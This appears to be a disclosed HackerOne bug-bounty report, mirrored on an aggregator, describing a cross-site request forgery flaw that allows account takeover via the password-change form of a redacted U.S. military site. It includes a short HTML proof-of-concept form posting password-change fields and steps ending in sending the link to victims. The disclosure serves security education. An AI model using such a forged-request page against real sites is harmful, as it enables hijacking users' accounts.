Skip to content
CSRF Disclosed report Beginner

CSRF to account takeover in https://███████.mil/

A password-change form on a military site was submitted cross-site via a crafted HTML page, which the reporter says could take over an account.

dhakal_bibek Follow

Originally disclosed on HackerOne

Critical View original
  • Disclosed after 25 days

Summary: Hello Description:

Impact

Step-by-step Reproduction Instructions

  1. Go to https://███.mil/ and login using your credintials
  2. Now Click on change password
  3. First turn the intercept of burp to on and enter your secondary email id and password and click on register password.
<html>
  <!-- CSRF PoC - kira-->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://████████.mil/scripts/wa.exe" method="POST">
      <input type="hidden" name="GETPW2" value="GETPW1" />
      <input type="hidden" name="Y" value="a█████" />
      <input type="hidden" name="p" value="████████" />
      <input type="hidden" name="q" value="███████" />
      <input type="hidden" name="X" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

4: Now send the link to the victims

Product, Version, and Configuration (If applicable)

██████

Impact

It is a critical issue as i was able to takeover anyone account using this attack..

The original report as published on HackerOne, by dhakal_bibek. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the password-change endpoint accepted POST requests without a per-session anti-CSRF token or origin check, so any site could submit the form for a logged-in user.

What the attacker needed

Victim is logged in; victim loads attacker's page

How it was found

  1. Log in to the site with your own credentials.
  2. Open the change-password page.
  3. Turn on Burp interception, fill in the new email and password, and submit the form.
  4. Use the provided HTML PoC form that submits the same fields to the endpoint.
  5. Send the link to the victim so their browser submits the form while logged in.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you are logged in, your browser automatically sends your session cookie with every request to that site. If a form on another website can post to the password-change page, the site cannot tell your request apart from the attacker's. This is called cross-site request forgery (CSRF): the attacker makes your browser do the action for them.

What is CSRF?

Another site makes a signed-in user's browser perform an action they did not intend.

More by dhakal_bibek

View all

4 more disclosed reports, best first.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site request forgery (CSRF)

The lesson behind this report.

Another site makes a signed-in user's browser perform an action they did not intend.